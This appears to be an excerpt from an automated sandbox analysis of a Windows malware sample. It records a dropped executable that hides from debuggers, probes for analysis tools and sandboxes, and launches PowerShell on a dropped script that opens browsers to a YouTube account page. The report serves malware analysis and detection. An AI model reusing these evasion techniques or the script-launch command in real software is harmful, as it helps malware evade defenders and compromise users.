Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04D20E78 rdtsc

0_2_04D20E78

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EF652B mov eax, dword ptr fs:[00000030h]		6_2_00EF652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EFA302 mov eax, dword ptr fs:[00000030h]		6_2_00EFA302

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008615041\KQGBYWk.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com/account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account	Jump to behavior

Source: file.exe, 00000000.00000002.2083028111.0000000000506000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2120676594.00000000010B6000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2123277356.00000000010B6000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: o8`[0Program Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: 8`[0Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00EDD3E2 cpuid

6_2_00EDD3E2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008615041\KQGBYWk.ps1 VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
